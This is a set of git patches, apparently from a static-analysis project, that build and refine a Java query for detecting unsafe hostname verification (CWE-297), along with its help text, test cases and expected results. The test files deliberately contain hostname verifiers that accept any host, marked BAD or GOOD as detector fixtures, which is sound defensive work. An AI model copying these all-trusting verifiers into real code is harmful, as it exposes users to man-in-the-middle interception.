javax.net.ssl.HostnameVerifier; +import javax.net.ssl.HttpsURLConnection; +import javax.net.ssl.SSLSession; + +public class UnsafeHostnameVerification { + + private static final boolean DISABLE_VERIFICATION = true; + + /** + * Test the implementation of trusting all hostnames as an anonymous class + */ + public void testTrustAllHostnameOfAnonymousClass() { + HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { + @Override + public boolean verify(String hostname, SSLSession session) { + return true; // BAD, always returns true + } + }); + } + + /** + * Test the implementation of trusting all hostnames as a lambda. + */ + public void testTrustAllHostnameLambda() { + HttpsURLConnection.setDefaultHostnameVerifier((name, s) -> true); // BAD, always returns true + } + + /** + * Test an all-trusting hostname verifier that is guarded by a flag + */ + public void testGuardedByFlagTrustAllHostname() { + if (DISABLE_VERIFICATION) { + HttpsURLConnection.setDefaultHostnameVerifier(ALLOW_ALL_HOSTNAME_VERIFIER); // GOOD: The all-trusting + // hostname verifier is guarded + // by a feature flag + } + } + + public void testGuardedByFlagAccrossCalls() { + if (DISABLE_VERIFICATION) { + functionThatActuallyDisablesVerification(); + } + } + + private void functionThatActuallyDisablesVerification() { + HttpsURLConnection.setDefaultHostnameVerifier((name, s) -> true); // GOOD [but detected as BAD], because we only + // check guards inside a function + // and not accross function calls. This is considerer GOOD because the call to + // `functionThatActuallyDisablesVerification` is guarded by a feature flag in + // `testGuardedByFlagAccrossCalls`. + // Although this is not ideal as another function could directly call + // `functionThatActuallyDisablesVerification` WITHOUT checking the feature flag. + } + + public void testTrustAllHostnameDependingOnDerivedValue() { + String enabled = System.getProperty("disableHostnameVerification"); + if (Boolean.parseBoolean(enabled)) { + HttpsURLConnection.setDefaultHostnameVerifier((hostname, session) -> true); // GOOD [but detected as BAD]. + // This is GOOD, because it depends on a feature + // flag, but this is not detected by the query. + } + } + + /** + * Test the implementation of trusting all hostnames as a variable + */ + public void testTrustAllHostnameOfVariable() { + HostnameVerifier verifier = new HostnameVerifier() { + @Override + public boolean verify(String hostname, SSLSession session) { + return true; // BAD, always returns true + } + }; + HttpsURLConnection.setDefaultHostnameVerifier(verifier); + } + + public static final HostnameVerifier ALLOW_ALL_HOSTNAME_VERIFIER = new HostnameVerifier() { + @Override + public boolean verify(String hostname, SSLSession session) { + return true; // BAD, always returns true + } + }; +} + diff --git a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.qlref b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.qlref new file mode 100644 index 00000000000..2e449e119d1 --- /dev/null +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.qlref @@ -0,0 +1 @@ +Security/CWE/CWE-297/UnsafeHostnameVerification.ql From 70b0703952ef4c364990a4a183348ab44e901944 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Sat, 5 Dec 2020 00:32:44 +0100 Subject: [PATCH 0480/1241] Java: Remove overlapping code --- .../Security/CWE/CWE-273/UnsafeCertTrust.java | 26 ------------ .../CWE/CWE-273/UnsafeCertTrust.qhelp | 8 ++-- .../Security/CWE/CWE-273/UnsafeCertTrust.ql | 41 +------------------ .../security/CWE-273/UnsafeCertTrustTest.java | 32 --------------- 4 files changed, 6 insertions(+), 101 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.java b/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.java index 65698ac33a3..b3536fa7d1d 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.java +++ b/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.java @@ -1,30 +1,4 @@ public static void main(String[] args) { - { - HostnameVerifier verifier = new HostnameVerifier() { - @Override - public boolean verify(String hostname, SSLSession session) { - try { //GOOD: verify the certificate - Certificate[] certs = session.getPeerCertificates(); - X509Certificate x509 = (X509Certificate) certs[0]; - check(new String[]{host}, x509); - return true; - } catch (SSLException e) { - return false; - } - } - }; - HttpsURLConnection.setDefaultHostnameVerifier(verifier); - } - - { - HostnameVerifier verifier = new HostnameVerifier() { - @Override - public boolean verify(String hostname, SSLSession session) { - return true; // BAD: accept even if the hostname doesn't match - } - }; - HttpsURLConnection.setDefaultHostnameVerifier(verifier); - } { X509TrustManager trustAllCertManager = new X509TrustManager() { diff --git a/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.qhelp b/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.qhelp index 2e8d08fd68b..223b2c3772a 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.qhelp @@ -4,10 +4,10 @@ <qhelp> <overview> -<p>Java offers two mechanisms for SSL authentication - trust manager and hostname verifier. Trust manager validates the peer's certificate chain while hostname verification establishes that the hostname in the URL matches the hostname in the server's identification.</p> +<p>Java offers two mechanisms for SSL authentication - trust manager and hostname verifier (not checked by this query). Trust manager validates the peer's certificate chain while hostname verification establishes that the hostname in the URL matches the hostname in the server's identification.</p> <p>And when SSLSocket or SSLEngine is created without a valid parameter of setEndpointIdentificationAlgorithm, hostname verification is disabled by default.</p> -<p>Unsafe implementation of the interface X509TrustManager, HostnameVerifier, and SSLSocket/SSLEngine ignores all SSL certificate validation errors when establishing an HTTPS connection, thereby making the app vulnerable to man-in-the-middle attacks.</p> -<p>This query checks whether trust manager is set to trust all certificates, the hostname verifier is turned off, or setEndpointIdentificationAlgorithm is missing. The query also covers a special implementation com.rabbitmq.client.ConnectionFactory.</p> +<p>Unsafe implementation of the interface X509TrustManager and SSLSocket/SSLEngine ignores all SSL certificate validation errors when establishing an HTTPS connection, thereby making the app vulnerable to man-in-the-middle attacks.</p> +<p>This query checks whether trust manager is set to trust all certificates or setEndpointIdentificationAlgorithm is missing. The query also covers a special implementation com.rabbitmq.client.ConnectionFactory.</p> </overview> <recommendation> @@ -15,7 +15,7 @@ </recommendation> <example> -<p>The following two examples show two ways of configuring X509 trust cert manager and hostname verifier. In the 'BAD' case, +<p>The following two examples show two ways of configuring X509 trust cert manager. In the 'BAD' case, no validation is performed thus any certificate is trusted. In the 'GOOD' case, the proper validation is performed.</p> <sample src="UnsafeCertTrust.java" /> </example> diff --git a/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.ql b/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.ql index 497e87b37ac..3dca54a8de6 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.ql @@ -1,6 +1,6 @@ /** - * @name Unsafe certificate trust and improper hostname verification - * @description Unsafe implementation of the interface X509TrustManager, HostnameVerifier, and SSLSocket/SSLEngine ignores all SSL certificate validation errors when establishing an HTTPS connection, thereby making the app vulnerable to man-in-the-middle attacks. + * @name Unsafe certificate trust + * @description Unsafe implementation of the interface X509TrustManager and SSLSocket/SSLEngine ignores all SSL certificate validation errors when establishing an HTTPS connection, thereby making the app vulnerable to man-in-the-middle attacks. * @kind problem * @id java/unsafe-cert-trust * @tags security @@ -53,42 +53,6 @@ class X509TrustAllManagerInit extends MethodAccess { } } -/** - * HostnameVerifier class that allows a certificate whose CN (Common Name) does not match the host name in the URL - */ -class TrustAllHostnameVerifier extends RefType { - TrustAllHostnameVerifier() { - this.getASupertype*() instanceof HostnameVerifier and - exists(Method m, ReturnStmt rt | - m.getDeclaringType() = this and - m.hasName("verify") and - rt.getEnclosingCallable() = m and - rt.getResult().(BooleanLiteral).getBooleanValue() = true - ) - } -} - -/** - * The setDefaultHostnameVerifier method of HttpsURLConnection with the trust all configuration - */ -class TrustAllHostnameVerify extends MethodAccess { - TrustAllHostnameVerify() { - this.getMethod().hasName("setDefaultHostnameVerifier") and - this.getMethod().getDeclaringType() instanceof HttpsURLConnection and //httpsURLConnection.setDefaultHostnameVerifier method - ( - exists(NestedClass nc | - nc.getASupertype*() instanceof TrustAllHostnameVerifier and - this.getArgument(0).getType() = nc //Scenario of HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() {...}); - ) - or - exists(Variable v | - this.getArgument(0).(VarAccess).getVariable() = v and - v.getInitializer().getType() instanceof TrustAllHostnameVerifier //Scenario of HttpsURLConnection.setDefaultHostnameVerifier(verifier); - ) - ) - } -} - class SSLEngine extends RefType { SSLEngine() { this.hasQualifiedName("javax.net.ssl", "SSLEngine") } } @@ -239,7 +203,6 @@ class RabbitMQEnableHostnameVerificationNotSet extends MethodAccess { from MethodAccess aa where - aa instanceof TrustAllHostnameVerify or aa instanceof X509TrustAllManagerInit or aa instanceof SSLEndpointIdentificationNotSet or aa instanceof RabbitMQEnableHostnameVerificationNotSet diff --git a/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrustTest.java b/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrustTest.java index ff62035fd33..a45727a7406 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrustTest.java +++ b/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrustTest.java @@ -48,31 +48,6 @@ public class UnsafeCertTrustTest { } } - /** - * Test the implementation of trusting all hostnames as an anonymous class - */ - public void testTrustAllHostnameOfAnonymousClass() { - HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { - @Override - public boolean verify(String hostname, SSLSession session) { - return true; // Noncompliant - } - }); - } - - /** - * Test the implementation of trusting all hostnames as a variable - */ - public void testTrustAllHostnameOfVariable() { - HostnameVerifier verifier = new HostnameVerifier() { - @Override - public boolean verify(String hostname, SSLSession session) { - return true; // Noncompliant - } - }; - HttpsURLConnection.setDefaultHostnameVerifier(verifier); - } - private static final X509TrustManager TRUST_ALL_CERTIFICATES = new X509TrustManager() { @Override public void checkClientTrusted(final X509Certificate[] chain, final String authType) @@ -109,13 +84,6 @@ public class UnsafeCertTrustTest { } }; - public static final HostnameVerifier ALLOW_ALL_HOSTNAME_VERIFIER = new HostnameVerifier() { - @Override - public boolean verify(String hostname, SSLSession session) { - return true; // Noncompliant - } - }; - /** * Test the endpoint identification of SSL engine is set to null */ From 0a9df07df74fbbbd2aaa87ddbb273742450d067b Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Wed, 9 Dec 2020 23:29:59 +0100 Subject: [PATCH 0481/1241] Apply suggestions from review. --- .../CWE/CWE-297/UnsafeHostnameVerification.ql | 12 ++++++++---- .../Security/CWE/CWE-273/UnsafeCertTrust.qhelp | 2 +- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index f661f4acde9..2b5ae17448b 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -4,16 +4,20 @@ * @kind path-problem * @problem.severity error * @precision high - * @id java/everything-accepting-hostname-verifier + * @id java/insecure-hostname-verifier * @tags security * external/cwe/cwe-297 */ import java -import semmle.code.java.security.Encryption -import semmle.code.java.dataflow.DataFlow -import DataFlow::PathGraph + import semmle.code.java.controlflow.Guards +import semmle.code.java.dataflow.DataFlow +import semmle.code.java.dataflow.FlowSources +import semmle.code.java.dataflow.TaintTracking2 +import semmle.code.java.security.Encryption + +import DataFlow::PathGraph /** * Holds if `m` always returns `true` ignoring any exceptional flow. diff --git a/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.qhelp b/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.qhelp index 223b2c3772a..9a6bdb82cba 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-273/UnsafeCertTrust.qhelp @@ -4,7 +4,7 @@ <qhelp> <overview> -<p>Java offers two mechanisms for SSL authentication - trust manager and hostname verifier (not checked by this query). Trust manager validates the peer's certificate chain while hostname verification establishes that the hostname in the URL matches the hostname in the server's identification.</p> +<p>Java offers two mechanisms for SSL authentication - trust manager and hostname verifier (checked by the <code>java/insecure-hostname-verifier</code> query). Trust manager validates the peer's certificate chain while hostname verification establishes that the hostname in the URL matches the hostname in the server's identification.</p> <p>And when SSLSocket or SSLEngine is created without a valid parameter of setEndpointIdentificationAlgorithm, hostname verification is disabled by default.</p> <p>Unsafe implementation of the interface X509TrustManager and SSLSocket/SSLEngine ignores all SSL certificate validation errors when establishing an HTTPS connection, thereby making the app vulnerable to man-in-the-middle attacks.</p> <p>This query checks whether trust manager is set to trust all certificates or setEndpointIdentificationAlgorithm is missing. The query also covers a special implementation com.rabbitmq.client.ConnectionFactory.</p> From e021158b5fa034d3aecb4267b55fefb2cc8cf84c Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Wed, 9 Dec 2020 23:37:29 +0100 Subject: [PATCH 0482/1241] Java: Tighter model of `HostnameVerifier#verify` This more tightly models `HostnameVerifier#verify` previously it was possible to accidentally match other methods called `verify`. --- java/ql/src/semmle/code/java/security/Encryption.qll | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/java/ql/src/semmle/code/java/security/Encryption.qll b/java/ql/src/semmle/code/java/security/Encryption.qll index 35b9c367dd3..4ab5a0f5be2 100644 --- a/java/ql/src/semmle/code/java/security/Encryption.qll +++ b/java/ql/src/semmle/code/java/security/Encryption.qll @@ -29,13 +29,20 @@ class SSLContext extends RefType { SSLContext() { hasQualifiedName("javax.net.ssl", "SSLContext") } } +class SSLSession extends RefType { + SSLSession() { hasQualifiedName("javax.net.ssl", "SSLSession") } +} + class HostnameVerifier extends RefType { HostnameVerifier() { hasQualifiedName("javax.net.ssl", "HostnameVerifier") } } class HostnameVerifierVerify extends Method { HostnameVerifierVerify() { - hasName("verify") and getDeclaringType().getASupertype*() instanceof HostnameVerifier + hasName("verify") and + getDeclaringType().getASupertype*() instanceof HostnameVerifier and + getParameterType(0) instanceof TypeString and + getParameterType(1) instanceof SSLSession } } From d98b17199804a70cba87d20878616e84caee45a9 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Wed, 9 Dec 2020 23:40:27 +0100 Subject: [PATCH 0483/1241] Java: Make `EnvTaintedMethod` public + QL-Doc --- java/ql/src/semmle/code/java/dataflow/FlowSources.qll | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/java/ql/src/semmle/code/java/dataflow/FlowSources.qll b/java/ql/src/semmle/code/java/dataflow/FlowSources.qll index 2d568670b26..42aaf137220 100644 --- a/java/ql/src/semmle/code/java/dataflow/FlowSources.qll +++ b/java/ql/src/semmle/code/java/dataflow/FlowSources.qll @@ -292,7 +292,8 @@ private class SpringWebRequestGetMethod extends Method { } } -private class EnvTaintedMethod extends Method { +/** Models methods that are tainted by the environment of the user, such as `System.getProperty` or `System.getenv()`. */ +class EnvTaintedMethod extends Method { EnvTaintedMethod() { this instanceof MethodSystemGetenv or this instanceof PropertiesGetPropertyMethod or From a62a2e58dd35599b1c9d21a285f14bab7edd2e81 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Wed, 9 Dec 2020 23:42:00 +0100 Subject: [PATCH 0484/1241] Java: Improve QL-Doc --- java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index 2b5ae17448b..b62707d3ef2 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -29,7 +29,7 @@ private predicate alwaysReturnsTrue(HostnameVerifierVerify m) { } /** - * A class that overrides the `javax.net.ssl.HostnameVerifier.verify` method and **always** returns `true`, thus + * A class that overrides the `javax.net.ssl.HostnameVerifier.verify` method and **always** returns `true` (ignoring exceptional flow), thus * accepting any certificate despite a hostname mismatch. */ class TrustAllHostnameVerifier extends RefType { From 9e2ef9bd74d6d53441d5d68ea780822867ccf2e5 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Wed, 9 Dec 2020 23:42:32 +0100 Subject: [PATCH 0485/1241] Java: Filter results by feature flags. This ignores results that are guarded by a feature flag that suggests an intentionally insecure feature. Inspired by Go's `InsecureFeatureFlag.qll` and `DisabledCertificateCheck.ql`. --- .../CWE/CWE-297/UnsafeHostnameVerification.ql | 66 +++++++++++++++---- 1 file changed, 54 insertions(+), 12 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index b62707d3ef2..2e47f501f7b 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -62,18 +62,60 @@ class TrustAllHostnameVerifierConfiguration extends DataFlow::Configuration { } } -/** Holds if `node` is guarded by a flag that suggests an intentionally insecure feature. */ -private predicate isNodeGuardedByFlag(DataFlow::Node node) { - exists(Guard g | g.controls(node.asExpr().getBasicBlock(), _) | - g - .(VarAccess) - .getVariable() - .getName() - .regexpMatch("(?i).*(secure|(en|dis)able|selfCert|selfSign|validat|verif|trust|ignore).*") +bindingset[result] +private string getAFlagName() { + result.regexpMatch("(?i).*(secure|(en|dis)able|selfCert|selfSign|validat|verif|trust|ignore).*") +} + +/** A configuration to model the flow of feature flags into `Guard`s. This is used to determine whether something is guarded by such a flag. */ +private class FlagTaintTracking extends TaintTracking2::Configuration { + FlagTaintTracking() { this = "FlagTaintTracking" } + + override predicate isSource(DataFlow::Node source) { + exists(VarAccess v | v.getVariable().getName() = getAFlagName() | source.asExpr() = v) + or + exists(StringLiteral s | s.getRepresentedString() = getAFlagName() | source.asExpr() = s) + or + exists(MethodAccess ma | ma.getMethod().getName() = getAFlagName() | source.asExpr() = ma) + } + + override predicate isSink(DataFlow::Node sink) { sink.asExpr() instanceof Guard } + + override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) { + exists(MethodAccess ma | ma.getMethod() = any(EnvTaintedMethod m) | + ma = node2.asExpr() and ma.getAnArgument() = node1.asExpr() + ) + or + exists(MethodAccess ma | + ma.getMethod().hasName("parseBoolean") and + ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "Boolean") + | + ma = node2.asExpr() and ma.getAnArgument() = node1.asExpr() + ) + } +} + +/** Gets a guard that depends on a flag. */ +private Guard getAGuard() { + exists(FlagTaintTracking cfg, DataFlow::Node source, DataFlow::Node sink | + cfg.hasFlow(source, sink) + | + sink.asExpr() = result ) } -from DataFlow::PathNode source, DataFlow::PathNode sink, TrustAllHostnameVerifierConfiguration cfg -where cfg.hasFlowPath(source, sink) and not isNodeGuardedByFlag(sink.getNode()) -select sink, source, sink, "$@ that accepts any certificate as valid, is used here.", source, - "This hostname verifier" +/** Holds if `node` is guarded by a flag that suggests an intentionally insecure feature. */ +private predicate isNodeGuardedByFlag(DataFlow::Node node) { + exists(Guard g | g.controls(node.asExpr().getBasicBlock(), _) | g = getAGuard()) +} + +from + DataFlow::PathNode source, DataFlow::PathNode sink, TrustAllHostnameVerifierConfiguration cfg, + RefType verifier +where + cfg.hasFlowPath(source, sink) and + not isNodeGuardedByFlag(sink.getNode()) and + verifier = source.getNode().asExpr().(ClassInstanceExpr).getConstructedType() +select sink, source, sink, + "$@ that is defined $@ and accepts any certificate as valid, is used $@.", source, + "This hostname verifier", verifier, "here", sink, "here" From 33b0ff28d83ac84685d42717b8fec9ed4810e729 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Wed, 9 Dec 2020 23:50:28 +0100 Subject: [PATCH 0486/1241] Java: Update test --- .../CWE-297/UnsafeHostnameVerification.java | 21 ++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java index d23d83613e0..11f3cf65a2b 100644 --- a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java @@ -1,6 +1,7 @@ import javax.net.ssl.HostnameVerifier; import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.SSLSession; +import java.security.cert.Certificate; public class UnsafeHostnameVerification { @@ -55,12 +56,26 @@ public class UnsafeHostnameVerification { public void testTrustAllHostnameDependingOnDerivedValue() { String enabled = System.getProperty("disableHostnameVerification"); if (Boolean.parseBoolean(enabled)) { - HttpsURLConnection.setDefaultHostnameVerifier((hostname, session) -> true); // GOOD [but detected as BAD]. - // This is GOOD, because it depends on a feature - // flag, but this is not detected by the query. + HttpsURLConnection.setDefaultHostnameVerifier((hostname, session) -> true); // GOOD, because it depends on a feature + // flag. } } + public void testTrustAllHostnameWithExceptions() { + HostnameVerifier verifier = new HostnameVerifier() { + @Override + public boolean verify(String hostname, SSLSession session) { + verify(hostname, session.getPeerCertificates()); + return true; // GOOD [but detected as BAD]. The verification of the certificate is done in another method and + // in the case of a mismatch, an `Exception` is thrown so the `return true` statement never gets executed. + } + + // Black-box method that properly verifies the certificate but throws an `Exception` in the case of a mismatch. + private void verify(String hostname, Certificate[] certs){} + }; + HttpsURLConnection.setDefaultHostnameVerifier(verifier); + } + /** * Test the implementation of trusting all hostnames as a variable */ From c88f07dde4884ae8bf337dec075065ada01e07ab Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Wed, 9 Dec 2020 23:50:58 +0100 Subject: [PATCH 0487/1241] Java: Accept test output --- .../UnsafeHostnameVerification.expected | 33 ++++++++++--------- 1 file changed, 18 insertions(+), 15 deletions(-) diff --git a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected index 2c15e7024a8..18628e4f7cc 100644 --- a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected @@ -1,18 +1,21 @@ edges -| UnsafeHostnameVerification.java:68:31:73:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:74:49:74:56 | verifier | -| UnsafeHostnameVerification.java:77:69:82:2 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:33:50:33:76 | ALLOW_ALL_HOSTNAME_VERIFIER | +| UnsafeHostnameVerification.java:65:31:75:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:76:49:76:56 | verifier | +| UnsafeHostnameVerification.java:83:31:88:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:89:49:89:56 | verifier | +| UnsafeHostnameVerification.java:92:69:97:2 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:34:50:34:76 | ALLOW_ALL_HOSTNAME_VERIFIER | nodes -| UnsafeHostnameVerification.java:13:49:18:3 | new (...) | semmle.label | new (...) | -| UnsafeHostnameVerification.java:25:49:25:65 | ...->... | semmle.label | ...->... | -| UnsafeHostnameVerification.java:33:50:33:76 | ALLOW_ALL_HOSTNAME_VERIFIER | semmle.label | ALLOW_ALL_HOSTNAME_VERIFIER | -| UnsafeHostnameVerification.java:46:49:46:65 | ...->... | semmle.label | ...->... | -| UnsafeHostnameVerification.java:58:50:58:76 | ...->... | semmle.label | ...->... | -| UnsafeHostnameVerification.java:68:31:73:3 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | -| UnsafeHostnameVerification.java:74:49:74:56 | verifier | semmle.label | verifier | -| UnsafeHostnameVerification.java:77:69:82:2 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | +| UnsafeHostnameVerification.java:14:49:19:3 | new (...) | semmle.label | new (...) | +| UnsafeHostnameVerification.java:26:49:26:65 | ...->... | semmle.label | ...->... | +| UnsafeHostnameVerification.java:34:50:34:76 | ALLOW_ALL_HOSTNAME_VERIFIER | semmle.label | ALLOW_ALL_HOSTNAME_VERIFIER | +| UnsafeHostnameVerification.java:47:49:47:65 | ...->... | semmle.label | ...->... | +| UnsafeHostnameVerification.java:59:50:59:76 | ...->... | semmle.label | ...->... | +| UnsafeHostnameVerification.java:65:31:75:3 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | +| UnsafeHostnameVerification.java:76:49:76:56 | verifier | semmle.label | verifier | +| UnsafeHostnameVerification.java:83:31:88:3 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | +| UnsafeHostnameVerification.java:89:49:89:56 | verifier | semmle.label | verifier | +| UnsafeHostnameVerification.java:92:69:97:2 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | #select -| UnsafeHostnameVerification.java:13:49:18:3 | new (...) | UnsafeHostnameVerification.java:13:49:18:3 | new (...) | UnsafeHostnameVerification.java:13:49:18:3 | new (...) | $@ that accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:13:49:18:3 | new (...) | This hostname verifier | -| UnsafeHostnameVerification.java:25:49:25:65 | ...->... | UnsafeHostnameVerification.java:25:49:25:65 | ...->... | UnsafeHostnameVerification.java:25:49:25:65 | ...->... | $@ that accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:25:49:25:65 | ...->... | This hostname verifier | -| UnsafeHostnameVerification.java:46:49:46:65 | ...->... | UnsafeHostnameVerification.java:46:49:46:65 | ...->... | UnsafeHostnameVerification.java:46:49:46:65 | ...->... | $@ that accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:46:49:46:65 | ...->... | This hostname verifier | -| UnsafeHostnameVerification.java:58:50:58:76 | ...->... | UnsafeHostnameVerification.java:58:50:58:76 | ...->... | UnsafeHostnameVerification.java:58:50:58:76 | ...->... | $@ that accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:58:50:58:76 | ...->... | This hostname verifier | -| UnsafeHostnameVerification.java:74:49:74:56 | verifier | UnsafeHostnameVerification.java:68:31:73:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:74:49:74:56 | verifier | $@ that accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:68:31:73:3 | new (...) : new HostnameVerifier(...) { ... } | This hostname verifier | +| UnsafeHostnameVerification.java:14:49:19:3 | new (...) | UnsafeHostnameVerification.java:14:49:19:3 | new (...) | UnsafeHostnameVerification.java:14:49:19:3 | new (...) | $@ that is defined $@ and accepts any certificate as valid, is used $@. | UnsafeHostnameVerification.java:14:49:19:3 | new (...) | This hostname verifier | UnsafeHostnameVerification.java:14:53:14:68 | new HostnameVerifier(...) { ... } | here | UnsafeHostnameVerification.java:14:49:19:3 | new (...) | here | +| UnsafeHostnameVerification.java:26:49:26:65 | ...->... | UnsafeHostnameVerification.java:26:49:26:65 | ...->... | UnsafeHostnameVerification.java:26:49:26:65 | ...->... | $@ that is defined $@ and accepts any certificate as valid, is used $@. | UnsafeHostnameVerification.java:26:49:26:65 | ...->... | This hostname verifier | UnsafeHostnameVerification.java:26:49:26:65 | new HostnameVerifier(...) { ... } | here | UnsafeHostnameVerification.java:26:49:26:65 | ...->... | here | +| UnsafeHostnameVerification.java:47:49:47:65 | ...->... | UnsafeHostnameVerification.java:47:49:47:65 | ...->... | UnsafeHostnameVerification.java:47:49:47:65 | ...->... | $@ that is defined $@ and accepts any certificate as valid, is used $@. | UnsafeHostnameVerification.java:47:49:47:65 | ...->... | This hostname verifier | UnsafeHostnameVerification.java:47:49:47:65 | new HostnameVerifier(...) { ... } | here | UnsafeHostnameVerification.java:47:49:47:65 | ...->... | here | +| UnsafeHostnameVerification.java:76:49:76:56 | verifier | UnsafeHostnameVerification.java:65:31:75:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:76:49:76:56 | verifier | $@ that is defined $@ and accepts any certificate as valid, is used $@. | UnsafeHostnameVerification.java:65:31:75:3 | new (...) : new HostnameVerifier(...) { ... } | This hostname verifier | UnsafeHostnameVerification.java:65:35:65:50 | new HostnameVerifier(...) { ... } | here | UnsafeHostnameVerification.java:76:49:76:56 | verifier | here | +| UnsafeHostnameVerification.java:89:49:89:56 | verifier | UnsafeHostnameVerification.java:83:31:88:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:89:49:89:56 | verifier | $@ that is defined $@ and accepts any certificate as valid, is used $@. | UnsafeHostnameVerification.java:83:31:88:3 | new (...) : new HostnameVerifier(...) { ... } | This hostname verifier | UnsafeHostnameVerification.java:83:35:83:50 | new HostnameVerifier(...) { ... } | here | UnsafeHostnameVerification.java:89:49:89:56 | verifier | here | From 10fc2cf9f803acf2c4d5eb34071ad2b6a1e16e87 Mon Sep 17 00:00:00 2001 From: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> Date: Mon, 14 Dec 2020 15:51:53 +0100 Subject: [PATCH 0488/1241] Apply suggestions from code review Co-authored-by: Chris Smowton <smowton@github.com> --- .../Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp | 8 ++++---- .../Security/CWE/CWE-297/UnsafeHostnameVerification.ql | 4 ++-- 2 files changed, 6 insertions(+), 6 